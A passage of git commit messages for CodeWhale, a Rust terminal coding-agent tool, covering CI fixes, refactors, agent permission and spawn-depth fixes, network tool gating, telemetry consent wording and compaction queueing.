lowercase_bash_returns_one_ordered_stream uses printf/redirection
syntax that Windows cmd cannot execute; it ran on Windows CI only
after the pi_output compile gap was fixed and failed deterministically.
Gate it to unix like its neighbor. The approval-test failure on
Windows is being rerun to separate a flake from a real defect.
Source budget follows the added lines (687594).
The receipt embeds the build commit, which CI stamps with the full
40-hex GITHUB_SHA while local builds carry the literal 'unknown'.
A full-length sha pushed the serialized receipt to 394 bytes over the
384-byte admission cap, so every CI build refused child launches and
the receipt regression tests failed on GitHub runners (they passed
locally only because 'unknown' is short). Some legitimate routes also
reached 386 bytes even without the sha.
- Truncate the embedded build commit to 12 hex chars; version + short
sha still identify the build for attribution.
- Raise the cap to 448 bytes with headroom for route growth.
- Remove the temporary debug workflow used to capture the runner
failure output.
Verified with the exact CI condition reproduced locally: a build
with DEEPSEEK_BUILD_SHA set to a full 40-hex sha now passes the
receipt tests, and the full lib suite is green (10301 passed).
The exact-surface tests hardcoded tools whose registration is gated on
local backends: image_ocr (tesseract/native OCR) and pandoc_convert
(pandoc binary). CI runners and Linux containers lack those, so the
pinned catalogs drifted and CI has been red for these tests all day.
Expected sets now follow ocr_available()/resolve_pandoc(), and the
image_ocr allowed-tool assert is conditional the same way.
Verified in both directions: macOS host (tesseract + pandoc present)
and rust:1.97.1 Linux container (neither) — all four tests pass.
Also raises the source-structure budget by 4 lines for the rename.
Rename the lowercase bash tool struct and its bounded output
accumulator, plus the file read/write helper symbols and their
tests, to contract-based names. Tool names, schemas, and behavior
are unchanged; doc and test references updated to match; the
model-visible catalog text and budget files are untouched.
Verified: cargo test -p codewhale-tui --lib (shell/registry/file/
file_tool/tool_catalog filters) 308 passed; web
public-surface-contract 13/13 passed.
bf6def00d added the Pi-compatible bounded output accumulator
(pi_output) to BackgroundShell, but the #[cfg(windows)] test
initializer in shell/tests.rs was not updated. Windows CI test
builds fail with E0063 (missing field pi_output) while macOS/Linux
builds never compile that test. Add pi_output: None — the test
shell has no live process pipe, so collect_output falls back to
the stdout buffer path.
bf6def00d added todo_write to the model-facing toolbox
(read/write/edit/bash/agent/todo_write/tool_search) and updated
docs/TOOL_SURFACE.md to 'exactly seven model-facing names', but
web/lib/public-surface-contract.test.ts still asserted six. The
release-candidate and Web Frontend proof runs fail on that stale
assertion at the frozen SHA; align the contract test with the
documented surface. Verified: vitest public-surface-contract (13/13).
Regenerate crates/tui/CHANGELOG.md from the root CHANGELOG.md so the
embedded changelog matches the finalized 0.9.6 notes (sync-changelog.sh).
Verified with ./scripts/release/check-versions.sh --require-dated-release
(workspace/npm/lockfile in sync; OHOS gates green).
Use the native Firecrawl adapter as the zero-config search route, preserve visible DuckDuckGo and Bing fallback, and document explicit China-provider choices without inferring geography.
Derive archive mtimes from the pinned source commit in release artifacts, retain reproducible archive bytes and executable modes, and cover metadata plus input validation.
Apply a provably native-only exec allowlist before engine feature setup so MCP servers that cannot contribute a tool are not connected. Keep unknown names and wildcard rules conservative, and cover both paths with focused catalog tests.
Treat provider reasoning continuity as typed state instead of readable transcript text. Preserve OpenAI Responses encrypted items only for the exact originating provider, API, and model; strip them on route changes; keep DeepSeek, Kimi K3, Model Studio, Mistral, and Anthropic contract regressions intact; and stop generic model-name suffixes from authorizing replay.
The bounded renderer now owns both capped previews and the exact transcript path, so remove the dead compatibility wrapper exposed by all-target compilation.
Bind npm publication to the exact release SHA after the public asset freshness gate, without a long-lived registry token. Document the npm-side publisher binding and interactive 2FA recovery path.\n\nCloses #5299
Retain only each live view's wrapped-row budget while scanning the full diff for truthful omission counts. Keep transcript detail exact and remove the unreachable legacy DiffPreview cell.\n\nCloses #5087
Scope tool-call result integrity to each assistant turn so a provider can reuse an identifier on a later retry without the completed result being quarantined. This prevents deferred plugin tools from looping after successful MCP execution.\n\nVerified with the focused repair suite, the full cucumber acceptance target, all-feature Clippy, and source/runtime/dead-code budgets.
Document Work and To-do as the two product concepts, synchronize every shipped locale, publish the six-tool and typed-image contracts, and keep static web generation offline while live GitHub chrome refreshes after deployment.
Adopt the six-tool lowercase surface, keep To-do state out of repeated provider prompts, and store Codex-style compaction checkpoints in ordinary history. Preserve provider-specific reasoning continuity, typed image tool results, role capability boundaries, ACP tool turns, and exact regression coverage across the runtime.
Route ACP calls through shared hook and policy admission, keep sandbox and override authority aligned with native turns, preserve receipts across cancellation/provider errors, and freeze the per-prompt system prefix. Stateful terminal/background forms remain unavailable on the ACP surface.
Compose ACP prompts through the canonical headless builder so editor-driven turns receive the same project instructions, configured instructions, memory, locale, and route-budget context as the current runtime. Preserve client-specific JSON-RPC response IDs while tools are running and make the Bash cancellation regression deterministic.
Fail closed by requiring the client terminal capability, the explicit headless shell opt-in, and the stable ShellTool feature before registering Bash. Apply the current Agent/Suggest sandbox policy and gate ApplyPatch through its feature flag. ACP continues to reuse the shared ToolRegistry and executes tool calls sequentially.
The stale v0.8.68 PowerShell build script described in the original contribution is intentionally not carried into v0.9.6.
Co-authored-by: Rafael Cavalheri <144138270+rafaelcavalheri@users.noreply.github.com>
Review feedback on #5225 (Hunter):
1. build_acp_tool_registry set context.auto_approve = true, which
short-circuits the SafetyLevel::Dangerous check in
tools/shell.rs (only runs `if !context.auto_approve`), so every
command an ACP client's model emits ran unreviewed. ACP has no
session/request_permission round-trip yet to fall back on. Drop
the line and let ToolContext::new's default (auto_approve: false)
stand — matching mcp_server.rs's trust posture over a different
transport. A blocked command already surfaces as a normal
`success: false` "BLOCKED: ..." tool result fed back to the model
(execute_tool_calls_with_cancellation already round-trips tool
results), not a silent failure, so there's no UX regression from
restoring the gate.
2. agentic_turn_cancels_while_a_tool_is_running scripted a tool call
named "exec_shell", which with_shell_tools() never registers
(renamed to "Bash" in v0.9.3). The lookup miss made the tool
future resolve to an immediate error instead of actually running
SLOW_SHELL_COMMAND, so the test's `select!` raced two already-ready
futures and asserted PromptOutcome::Cancelled on a coin flip.
Renamed to "Bash" so the 5-second command genuinely runs and the
cancel path genuinely preempts it. Also swept the remaining
`exec_shell` references (doc comments, a test name/message) left
over from the pre-v0.9.3 tool spelling.
Verified: cargo test -p codewhale-tui acp_server (34/34) and
route_budget (11/11) pass; the renamed cancel test passes 15/15 runs
in isolation (was ~50/50 before the rename). cargo fmt and the
project's workspace clippy gate (fmt + clippy --workspace
--all-features -D warnings, CONTRIBUTING.md allow-list) are clean
except one pre-existing, unrelated lint in mcp.rs.
Blocker 3 (build_system_prompt, deleted in a98b184f5) is Hunter's to
carry per the review; not touched here.
Drafted with agent assistance (Claude Code); build-verified by the
human author before pushing.
The ACP session/prompt path only streamed text; it never executed the
tool calls a model requested, so editors driving CodeWhale over ACP
(Zed, and third-party bridges like acp-deepseek-adapter) got a
chat-only agent with no real code-editing capability. This wires the
existing ToolRegistry into the ACP turn loop instead of duplicating a
new one:
- run_agentic_prompt_turn drives multi-round tool_use/tool_result
turns (capped at MAX_ACP_TOOL_ROUNDS) over the same file/search/git/
patch/shell tools the TUI uses, and reuses response_id_policy so
every tool-round response still gets the client-specific id
translation (Zed/avante.nvim) the existing streaming path relies on.
- Shell access is gated on the client declaring `terminal` support at
`initialize` (default false/restrictive); MAX_ACP_SESSIONS caps
concurrent sessions with true insertion-order eviction (VecDeque,
not HashMap iteration order).
- Tool-call cancellation signals a CancellationToken and waits for the
running tool (including a child shell process) to actually stop
before returning, rather than abandoning it.
- max_tokens for the ACP path now resolves through the same
route-limits machinery the TUI/CLI use (effective_max_output_tokens_for_route)
instead of a fixed 4096 fallback.
- scripts/build.ps1: release build script for Windows PowerShell 5.1,
used to produce the ACP binary tested against Zed on Windows.
34 unit tests cover the turn loop, tool execution against a real
workspace, cancellation mid-tool, and concurrent sessions with
independent registries, all against in-memory streams (no live
provider needed).
Drafted with agent assistance (Claude Code); build-verified and
reviewed by the human author before submission.
A descendant subagent could widen the absolute recursion budget inherited
from its root session by passing an explicit max_depth on a nested spawn.
child_max_spawn_depth_for_spawn dropped the inherited budget for the
explicit-request arm, so child_max_spawn_depth_for_spawn(2, 2, Some(8), None)
returned 8 even though the root selected an absolute maximum of 2 — the
descendant could then keep spawning past the intended boundary.
Take the min with the inherited budget in the explicit-request arm, mirroring
the profile-hint arm that already did so. A request or hint may only narrow,
never widen, the root/session's chosen absolute depth. The global
MAX_SPAWN_DEPTH_CEILING added in #3931 stays the outer bound.
Adds a dedicated regression test for the issue scenario and updates the two
assertions in test_child_max_spawn_depth_profile_hint_only_narrows that had
encoded the old widen-up-to-ceiling behavior.
Fixes#5253
Implemented with AI-assisted tooling; authored and reviewed by the contributor.
(cherry picked from commit 4e5ac2ba39)
The mode dial (what the agent does: Work / Operate / Plan) and the
permission dial (how approvals happen: Ask / Auto-Review / Full
Access) both carried A-words — "Act" and "Ask" — and error copy
conflated them. Rename the mode's user-facing name to Work in every
locale; "work" parses everywhere "act" does, and "act" stays as a
back-compat alias for configs and muscle memory.
Internal identifiers (AppMode::Agent) are unchanged; aligning the
backend enum names with the frontend vocabulary is tracked as the
v0.9.7 vocabulary unification.
#3866 made start_mcp_server and rlm eval fail closed in Full Access
because that posture opens no approval modal — which stranded the
calls: an operator who had granted full access could not run the tool,
could not approve it, and had to leave the posture to proceed. Full
Access already grants everything these calls can do (the shell can
spawn the same processes), so the gate protected nothing while
blocking the documented flow.
Owner decision 2026-08-10: Full Access auto-approves. The resolver
now returns Allow for non-bypassable holds under auto-approve/Yolo;
every posture that can open the modal (default suggest, never) still
prompts or denies exactly as before, and repo law still overrides.
The #3310 split moved is_mcp_stale_session_body into mcp/wire.rs and
updated the callers the branch could see, but the v097 lane had grown
a stdio-reader call site in root mcp.rs after the branch point. The
merge kept both halves; the import now names both classifiers.
Three verbatim moves from the isolated agent worktree: types into
project_context/types.rs, the workspace pack pipeline, and the
constitution loader into project_context/constitution.rs. Root
re-exports keep every existing path resolving; assembled system
prompts unchanged.
Three verbatim moves from the isolated agent worktree: HTTP transport
into mcp/http.rs, shared wire-format helpers into mcp/wire.rs. Every
MCP transport now sits behind the same boundary; no behavior change.
The follow-up that was supposed to call this prompt builder never
landed: sibling wrap_synthesis did get wired, so the routing path
shipped without ever asking for a synthesis prompt. The doc's "public
so callers outside this crate can unit-test it" was false twice over —
no such test exists and the tools module is private. estimate_tokens,
EvidenceRouting, and wrap_synthesis all have callers and stay.
Deletion-work-order group 11; proof: RUSTFLAGS=-Dwarnings cargo test
-p codewhale-tui --lib large_output_router.
#5060: experimental search re-hardcoded a 16-worker ceiling instead of
reading the Fleet seam, so a deliberately small pool still admitted
16-wide batches and a larger pool could never use its width. Every
validation entry point now has a _with_limit twin that takes the
resolved Fleet ceiling ([workflow] max_concurrent and a profile's
delegation.max_concurrency, the lower present bound winning), and the
frozen receipt records which of Fleet limit or crate fallback actually
bounded the run — kept out of the preregistration hash on purpose,
because pool admission is an operational fact about the run, not a
scientific input.
#1708: the model could not answer "what can I press here" without
guessing — the command catalog and keybinding table were human-only.
tui_help reads both registries back out of the same sources /help and
the help overlay render from (commands::command_infos, the user
registry, tui::keybindings::KEYBINDINGS), so the model-facing
reference cannot drift from the human one. Per-section caps keep an
unscoped dump from costing more context than any answer it contains.
The update path asked users to leave the session, open a shell, and
remember the subcommand; the update notice said so. /update (alias
/upgrade) now drives the existing codewhale update binary — check by
default, install only on explicit request — and the update notice
points at both paths.
Deliberate limits: package-managed installs (Homebrew, npm, cargo)
get instructions rather than an updater run, so no manager's metadata
is left describing a version that is no longer on disk; and /update
never relaunches — telling the user to restart is the honest slice.
A [main.rs](/repo/src/main.rs) in model output now opens with the
terminal's Cmd/Ctrl-click gesture: named markdown link destinations
that are absolute paths gain a file:// OSC 8 target alongside the
existing HTTP(S) path. Relative destinations stay inert — this layer
has no workspace root to resolve them against — and control bytes or
file://host/ remote forms are rejected rather than reinterpreted.
Prose is never scanned for path-shaped text, so bare paths in running
sentences do not linkify.
#5287: operators dispatch sub-agents by name and think in that name,
but every identity surface — sidebar rows, the work-surface agent
column, agent details, the pending-work indicator, the /subagents
view — spelled the row from the generated whale nickname instead.
sidebar::dispatched_agent_name reads the session name the manager was
given (an agent-id seed is reported as absent), and it now leads every
chain; the whale names only the agents dispatched without one.
#5293: v0.9.6 made a fresh approval card highlight Deny so a reflexive
Enter refuses a call the user has not read. That is the right default,
but operators who trusted the pre-v0.9.6 Enter-to-approve flow deserve
a knob instead of a surprise. [approval] default_selection accepts
deny (default) or allow_once; it moves the highlight only — which
calls are prompted stays approval_policy plus permissions.toml rules.
Documented in CONFIGURATION.md with the muscle-memory rationale.
#5305: a spawn receipt that names only the resolved Fleet profile
invites false model attribution — the reader cannot tell whether the
child kept the session route or took the profile's. The start receipt
now carries child_route: requested provider/model (absent when nothing
was pinned) alongside the effective provider/model and the precedence
rule that chose them, all captured at the spawn seam so a later
session-level model switch cannot rewrite a launched child's receipt.
child_route stays inside the compact receipt's 1KB budget rather than
being exempted: five short identifiers cost ~150B, and omitting the
route is the misattribution this fixes.
#3979: an edit computed against a stale read could still match and
overwrite work that landed between the read and the write — the race
that bites shared worktrees hardest. File read now reports a
sha256-prefixed content_hash over the whole file (streamed, so large
windowed reads keep their memory bound) in the model-visible content,
and write/edit accept an optional expected_hash verified before any
match or write. File patch guards the patch target — the explicit path
or the first touched file — and refuses the whole patch, writing
nothing, on a stale hash.
Absent expected_hash keeps pre-#3979 behavior exactly. The FileTool
schema byte budget rises 3000 → 3100 for the new parameter: a decision
recorded in the test, not drift.
#5239: a route that never resolves (auto selection, endpoint-keeping
model switch, failed resolution) used to erase an operator-configured
context window and print a borrowed 128K claim. Add
resolve_context_window for candidate-less hosts — configured override,
then offering/catalog limits, then the capability fallback — and carry
the window as one ContextWindowResolution so a report can never
attribute one rung's tokens to another rung's label.
The fallback rung is a guess made because nothing described the model:
doctor and /context now mark it unverified instead of asserting a
"128K default" the capability matrix may not hold, and every rung
round-trips through its own label.
Third move of #4079. The .codewhale/constitution.json pipeline —
workspace-upward discovery to the git root, parsing, the rendered
<codewhale_repo_constitution> authority block, and the mechanically
enforceable write holds compiled for crate::repo_law — is a
self-contained concern and now owns its own module.
The loader keeps reading through the shared context helpers it always
used (context_candidate_exists, find_git_root, join_relative_components,
load_context_file); callers reach it through a root re-export, so the
assembled system prompt is unchanged. Pure move, no logic edited.
Implemented with Claude Code agent assistance.
Third move of #3310. The frame/response size ceilings, SSE event
framing and field parsing, and the stale-session/closed-connection
error-text classifiers were duplicated across the transports that
consume them; they now live once in mcp/wire.rs as pub(super)
helpers, with sse.rs, stdio.rs, streamable_http.rs, and the root
mcp.rs reading from there. tests.rs imports the moved classifiers
explicitly.
Pure move: no ceiling moved and no classifier rewritten, so transport
behavior is unchanged.
Implemented with Claude Code agent assistance.
DeepSeek spells the same four thinking tiers differently on its two
wires, and until #5055 each spelling lived inline at its call site — a
documented mapping change meant archaeology across two files instead of
one edit. client::deepseek_effort is now the single annotated table
(Off/Low/High/Max with both wire spellings); the Chat Completions path
and the Responses path are two spellings of it, and a test fails if the
two wires ever disagree with the table.
DeepSeek documents that the Pro actual-effort mapping changes in early
August 2026; when it does, the table is the one place to edit.
Message counts alone do not show the win the user cares about: a
compaction that drops few but enormous messages reads as a no-op. The
emergency path already reports tokens; manual and auto compaction now
match, printing ~before → ~after tokens alongside the message counts.
The #5261 module doc claimed the turn loop already lived in
crates/core; it does not. Only request-building and fragments have
moved, and crates/tui/src/core/engine/turn_loop.rs is what every
interactive and headless turn runs today. Say so, so the next mover
lands against the real boundary instead of an imagined one.
A preview poll can land mid-character: the caller decodes each delta as
UTF-8, so a truncated multibyte sequence rendered as replacement glyphs
and corrupted the next delta's leading byte too — the streaming-client
bug from #1675, alive in the shell preview path. Leave an unfinished
trailing sequence in the buffer for the next poll; genuinely invalid
bytes still pass through so binary output cannot stall the cursor, and
the final result reads the whole buffer.
Tested with a split CJK character across two deltas and a lone 0xFF.
Second move of #4079. The pack is a self-contained pipeline — walk the
tree breadth-first under a depth/entry budget, sort by priority then
case-folded path, classify config vs source, excerpt the README, serialize
— and it shares nothing with instruction-file loading except the workspace
path. It had no reason to sit in the middle of the loader.
`project_context/pack.rs` takes the eight `PACK_*` budgets and the whole
`ProjectContextPack`/`ReadmePack` chain, plus the five tests that pin its
determinism: stable sorting, the ignore lists for agent state and binary
noise, breadth-first fairness to later top-level directories, cross-platform
sort equivalence, and `..` rejection in relative paths. Those tests need no
loader fixtures, which is the acceptance criterion the issue asked for.
`generate_bounded_project_overview` becomes `pub(crate)` because the
ephemeral-context fallback still calls it from the loader half;
`generate_project_context_pack` keeps its visibility and is re-exported
from the root, so init.rs and context_report.rs are untouched.
Pure move: no logic edited, so the assembled system prompt is unchanged.
Implemented with Claude Code agent assistance.
`HttpTransport`, `HttpTransportMode`, `McpHttpAuth`, and
`mcp_headers_have_authorization` were the last transport still living in the
root `mcp.rs` alongside connection, pool, and config code. They move verbatim
into `crates/tui/src/mcp/http.rs`, joining stdio, SSE, and streamable HTTP in
their own module, so every transport now sits behind the same boundary.
The grouping is the transport's own surface: the Streamable-HTTP-first send
path with its SSE fallback, the GET session preflight, and the header/bearer/
OAuth resolution that only the HTTP-flavoured transports consume. Items are
`pub(super)` rather than `pub` — this is an internal split, and `sse.rs`,
`streamable_http.rs`, and `tests.rs` are the only outside callers.
The root re-exports `HttpTransport` and `McpHttpAuth` so `super::` paths in
sibling transports keep resolving; `tests.rs` now imports them and
`StreamableHttpTransport` explicitly, matching how it already imports the
header helpers. No behavior change.
Implemented with Claude Code agent assistance.
First move of #4079. `project_context.rs` is 2,892 lines mixing four
concerns; this lifts out the smallest, most self-contained one so the
later moves have somewhere to hang their shared vocabulary.
`project_context/types.rs` now owns the two things every other group
passes around rather than computes: `ProjectContextError` (the read/size/
symlink failure enum) and `ProjectContext` itself, including
`as_system_block()` — the function that decides the constitution block
precedes `<project_instructions>` and that rules trail it. `merge_contexts`
moves with the struct it folds, and its unit test moves with it.
`ProjectContextError` becomes `pub(crate)` because the loader half that
constructs it now lives in a sibling module; nothing else changed
visibility. The root re-exports `ProjectContext` so `crate::project_context::
ProjectContext` keeps resolving for session.rs and project_context_cache.rs.
Pure move: no logic edited, so the assembled system prompt is unchanged.
Implemented with Claude Code agent assistance.
`scripts/release/verify-workspace-version.sh` had zero references anywhere:
no workflow under `.github/workflows/`, no `.cnb.yml` job, no runbook
(`docs/RELEASE_RUNBOOK.md`, `docs/RELEASE_CHECKLIST.md`), no other script,
and no entry in the private ops repo. A repo-wide ripgrep across all file
types (hidden files included, `target/` excluded) matched only the file's
own path.
Its job is fully subsumed by two gates that are wired in:
- `require-release-tag-checkout.sh:9-30` refuses to publish unless HEAD is
exactly `refs/tags/v<workspace_version>` on a clean tree, which is the
tag-vs-workspace agreement this script re-derived from `GITHUB_REF`.
- `check-versions.sh` check #1 forbids literal per-crate `version =` values,
so `cargo metadata` versions cannot diverge from the workspace version in
the first place.
Proof: `bash scripts/release/check-versions.sh && bash scripts/release/require-release-tag-checkout.test.sh`
Result: pass — "Version state OK: workspace=0.9.6, npm=0.9.6, lockfile in
sync." then "Release checkout gate OK: clean v0.9.6 at 3815bd705." and
"require-release-tag-checkout tests passed" (exit 0).
Implemented with Claude Code agent assistance.
One agent, one destination (#5270/#5287 lane): activating a running or
completed child-agent row from the Work strip, the sidebar, or the
sub-agents view now opens that agent's transcript instead of a details
screen that hides it behind a second action. Agent Details stays reachable
as the secondary action (Alt+V) and is unchanged internally; the stale doc
comment claiming the default route intentionally omits the transcript is
corrected.
Verified: cargo test -p codewhale-tui --lib (10140 passed), --test pty
work_bar (5 passed, including the new
finished_agent_row_opens_its_transcript_and_alt_v_reaches_details),
cargo fmt --check.
Implemented with Claude Code agent assistance.
Operationalize the owner report around the honest metric: observed active
installs = distinct rotating anonymous install ids with a session_start
ingested on a UTC day. The canonical report:active-installs command prints
the daily series, a complete-days 7-vs-7 trend, event freshness, and an
always-printed coverage-caveat block; report:dau remains as a pure re-export
compat alias. Exclusion guarantees are now pinned by tests (index1 only
inside count(DISTINCT), no content/identity/network columns anywhere in the
report path), and the output is forbidden from claiming DAU/unique users.
Known floor semantics recorded in docs: day attribution is ingest-day (events
carry no per-event timestamps), distinct counts cannot be sampling-corrected,
and id rotation can double-count across a trend window — all framed as the
lower-bound caveats they are.
Verified: telemetry-ingest npm test (109/109), npm run typecheck, CLI smoke
against fixtures.
Implemented with Claude Code agent assistance.
The single-binary sweep (be676502d, #5259) removed codewhale-tui from the
wrapper's bin map but left bin/codewhale-tui.js behind, where the files glob
still ships it as an executable npm never links. Nothing references it;
delete it to complete the sweep. Users invoking a previously-linked
codewhale-tui shim already get the deprecation from their installed v0.9.4
wrapper, not from this file.
Implemented with Claude Code agent assistance.
Enable/review/OAuth error strings still said "v0.9.1" ("v0.9.1-inactive
capabilities", "the v0.9.1 review limit", "disabled in v0.9.1",
"oauth=disabled-v0.9.1"). The boundary is unchanged in shape since v0.9.1
but the strings read as stale branding once the docs state it as of v0.9.6.
Reworded to version-neutral copy; behavior unchanged.
Verified: cargo test -p codewhale-tui --lib -- plugins oauth (186 passed),
cargo fmt --check.
Implemented with Claude Code agent assistance.
PLUGIN_BUNDLES.md was still written against v0.9.1 while PLUGINS.md
described the v0.9.4 /plugin lifecycle. The bundle doc now states the
boundary as of v0.9.6, documents both manifest encodings the runtime
actually parses (native plugin.json and legacy plugin.toml), describes the
real accept/reject behavior for inactive manifest sections (inventoried,
shown in review, enable fails closed naming them), notes that
capabilities.network_hosts is enforced today, and declares ownership between
the two docs. PLUGINS.md's plugin.toml-only install claim is corrected to
match the installer.
Every behavioral claim verified against crates/tui/src/plugins/ (manifest.rs,
agent_plugin.rs, registry.rs, install/) before restating.
Implemented with Claude Code agent assistance.
Resuming from the /resume picker reported only a transient status toast,
which the next footer update replaces — unlike /load, whose receipt lands in
the transcript. The same asymmetry class as the v0.9.6 idle-compaction
receipt fix. The picker path now writes the loaded receipt (with message
count) to the transcript, and the picker route-identity PTY regression pins
it.
Verified: cargo test -p codewhale-tui --test pty
release_session_picker_restores_route_identity; --lib session filter
(493 passed); cargo fmt --check.
Implemented with Claude Code agent assistance.
A descendant subagent could widen the absolute recursion budget inherited
from its root session by passing an explicit max_depth on a nested spawn.
child_max_spawn_depth_for_spawn dropped the inherited budget for the
explicit-request arm, so child_max_spawn_depth_for_spawn(2, 2, Some(8), None)
returned 8 even though the root selected an absolute maximum of 2 — the
descendant could then keep spawning past the intended boundary.
Take the min with the inherited budget in the explicit-request arm, mirroring
the profile-hint arm that already did so. A request or hint may only narrow,
never widen, the root/session's chosen absolute depth. The global
MAX_SPAWN_DEPTH_CEILING added in #3931 stays the outer bound.
Adds a dedicated regression test for the issue scenario and updates the two
assertions in test_child_max_spawn_depth_profile_hint_only_narrows that had
encoded the old widen-up-to-ceiling behavior.
Fixes#5253
Implemented with AI-assisted tooling; authored and reviewed by the contributor.
One command for the provider-neutral invariants the v0.9.6 release repaired:
parent-request compaction pressure, replace-not-stack summaries, the stable
cache prefix, queue-behind-turn manual compaction, durable compaction
receipts, truthful reasoning display, and live shell-wait progress.
Verified: ./scripts/continuity-suite.sh — all three gates PASS.
Implemented with Claude Code agent assistance.
The v0.9.6 known issue says a resumed session can display the startup
provider/model instead of the restored route. Three new PTY regressions pin
the full contract with a cross-provider, cross-endpoint, cross-model
scenario (env-configured DeepSeek startup route vs a persisted named custom
provider route): persisted metadata, the displayed header identity, and the
outbound request endpoint + body model must agree after resume, and the
startup route must receive nothing after the switch.
Covered surfaces: /load, startup --resume, and the /resume session picker.
All three pass — the interactive drift described in the known issue did not
reproduce against v0.9.6's route-restore path, so these tests hold the line
rather than fix a live defect. Headless exec --resume remains unpinned
(no displayed identity exists there).
Verified: cargo test -p codewhale-tui --test pty restores_route_identity
(3 passed, repeated), cargo fmt --check.
Implemented with Claude Code agent assistance.
The v0.9.6 known issue promised that manual /compact during an active turn
queues instead of refusing. The ordinary path already queued; the refusal
the owner reproduced live was the bounded 32-slot op mailbox filling during
a long turn (the turn loop never drains rx_op mid-turn), which mapped
TrySendError::Full to the sticky "engine is busy" error.
A full mailbox now defers the request client-side: the user gets the same
queued receipt as the ordinary behind-a-turn path, the event loop retries
the send each iteration until a slot frees, and a compaction that starts or
settles in the meantime supersedes the deferred request (releasing the
queued flag so /compact cannot latch "already in progress").
The three release-runtime QA compaction scenarios deferred from v0.9.6 were
blocked by a harness artifact, not the runtime: load_session waited for a
needle that line wrap and the scrollbar glyph split across rows. The wait
now normalizes frame chrome, the three tests are re-enabled, and the
full-mailbox liveness regression asserts the queue-behind-pressure contract
plus the single-pass repeat receipt.
Verified: cargo test -p codewhale-tui --lib (10134 passed), --test pty
(72 passed, 4 compaction scenarios green), cargo fmt.
Implemented with Claude Code agent assistance.
Advance the aggregate owned-Rust ceiling from 684375 to the measured
685062 lines after the post-review fix set (rail/todo visibility, ⌥V
row details, telemetry notice rewording, screencapture stabilization,
fleet read-only web parity, and their regression tests). Module and
large-module ceilings are unchanged; the structure gate passes at the
recorded values.
Adds changelog entries for the owner-dogfood fix set — the rail keeping
the to-do list visible beside the agent register, the ⌥V details chord
honoring the selected work row, the reworded first-run telemetry
question across all locales, macOS screencapture stabilization, and
read-only/recon Fleet members keeping Web search/fetch — and documents
the owner-approved deferral of the /compact busy-queue behavior to
v0.9.7 under Known issues. Regenerates crates/tui/CHANGELOG.md.
The read-only/recon web parity change keeps the `Web` family name
reachable (so search/fetch survive) while every reaching spelling stays
denied. Update the workflow ceiling assertion to match: `Web` must NOT
appear in disallowed_tools; web.run/web_search/fetch_url/
wait_for_dev_server/mcp* must.
Companion to feat(fleet): give read-only/recon members read-only web
search; landed from the web-access builder's worktree (wall-time budget
elapsed before it could commit this test update).
Fleet-dispatched members under a `network_tool = false` ceiling lost the
`Web` family entirely: the ceiling deny list matched the family name via
the `web*` glob and the `Web` entry, and even an exact-name list would
have blocked `search`/`fetch` through their legacy aliases (`web_search`,
`fetch_url`). An ordinary `agent`-tool scout keeps `Web {search, fetch}`;
a Fleet recon member got nothing, a parity gap.
Fix, in two halves that must stay together:
- `NETWORK_TOOL_DENYLIST` no longer denies the `Web` family name. The
two narrow globs `web_*` / `web.*` replace the `web*` glob so every
other browsing spelling (`web.run`, `web_run`, `web_search`,
`web.fetch`, `web_fetch`, `fetch_url`, `wait_for_dev_server`) is still
denied by prefix or exact name, while `Web` itself survives. The
sentinel (`fetch_url`) is untouched, so the capability envelope's
network bit and `network_is_denied()` read exactly as before.
- `SubAgentToolRegistry::is_action_allowed` carves out `Web {search,
fetch}` for network-denied children past the denied aliases. The
family name denial still wins outright, `wait` stays denied through
`wait_for_dev_server`, and `reject_network_reaching_input` still
refuses a URL-addressed `fetch` at dispatch — the carve-out grants the
read-only shape, not the reach.
`full`/network ceilings are unchanged (empty deny list, whole `Web`
enum + `web.run`). Everything else a network denial seals — `web.run`,
`fetch_url`, `github`, `mcp*`, `rlm_open`/`rlm_eval` — stays sealed, and
the URL-input guard remains deny-closed for any tool we did not
explicitly allow.
Tests: extend the exact-fleet registry tests to the new contract (Web
visible as exactly search/fetch, reaching spellings denied, URL-addressed
fetch refused at dispatch, full member untouched) and add a dedicated
recon-member test; add a deny-list test covering every network-denied
preset; update the posture-sealing test for the `web_*` glob. FLEET.md
documents the read-only exception.
Security note: nothing new is granted beyond the Web family's
search/fetch actions for network-denied members; every destructive or
reaching surface stays denied, and the sentinel-backed envelope plus
URL-input guard remain the fail-closed backstop for unenumerated tools.
macOS parks capture-UI screenshots under /var/folders/…/Temporary
Items/NSIRD_screencaptureui_*/ and deletes them minutes later, so a
screenshot referenced in a message was gone by the time the agent read
it (owner hit this repeatedly during the 0.9.6 dogfood).
Inbound message text now passes through
stabilize_screenshot_references at the single queued-message choke
point: any reference (quoted paste, @-mention, [Attached …], or bare
whitespace-split paste) to an existing file under a screencapture
Temporary Items dir is copied once to ~/.codewhale/attachments and the
reference is rewritten to the stable path. Detection requires both a
"Temporary Items" component and a screencaptureui-named component, so
ordinary paths are never touched; copies are idempotent and a failed
copy silently keeps the original reference.
Landed from the screenshot-fixer builder's worktree (its wall-time
budget elapsed before it could commit); verified with its seven
included unit tests (spaces, unicode, idempotence, fail-safe).
The first-run modal previously read like a statement ("Anonymous usage
counting") with two passive choices. Turn it into an explicit question
("Help improve Codewhale?") whose choices are unambiguous: "Yes, keep
anonymous counts" / "No, turn off tracking".
- notice.rs: headline + body rewritten; keeps every factual claim
(what is counted, what is never collected, random on-machine ID
replaced every 90 days, persistent opt-out command) and the schema
link. telemetry/tests.rs assertions updated to match the new wording
while still asserting each real fact.
- en.json + all 14 shipped locale packs: native translations for the
headline, body, both choices, and the two keep-on receipts (the old
"Keep-on" noun no longer matches any visible label). Compact body and
disabled receipts intentionally unchanged.
- telemetry_notice.rs: render tests assert the new question and choice
labels; the verbatim schema-owned test now also pins NOTICE_HEADLINE.
- qa_pty.rs: PTY harness waits on the new headline and choice labels.
Consent semantics are untouched: telemetry stays unarmed until a choice,
and the disable path still deletes the random ID.
The three release-runtime compaction scenarios fail against a real bug:
manual /compact during an active turn is refused with "engine is busy"
instead of queueing behind the turn (owner reproduced it live on
2026-08-10). The fix is non-trivial — a full builder attempt exhausted
its budget without landing it — and the owner approved deferring it so
0.9.6 can ship with the fixes that are ready.
Mark the three tests #[ignore] with the tracking reason rather than
weakening or deleting them; they encode the exact required lifecycle
(stream/compact/stream ordering, labels past toast expiry, successor
summary). Re-enable with the 0.9.7 fix. Full context in the private
codewhale-ops v0.9.7 ledger (P0 — compaction busy-queue).
Two owner dogfood regressions from the 0.9.6 rail work:
- Clicking the "Subagents N" header switched to the Agents panel, which
projected sub-agent rows only — the to-do list disappeared with no way
back. The Agents panel now keeps the durable to-do checklist under its
own Tasks heading alongside the full register (same rule as Pinned: a
panel preference is not consent to lose durable work), and the register
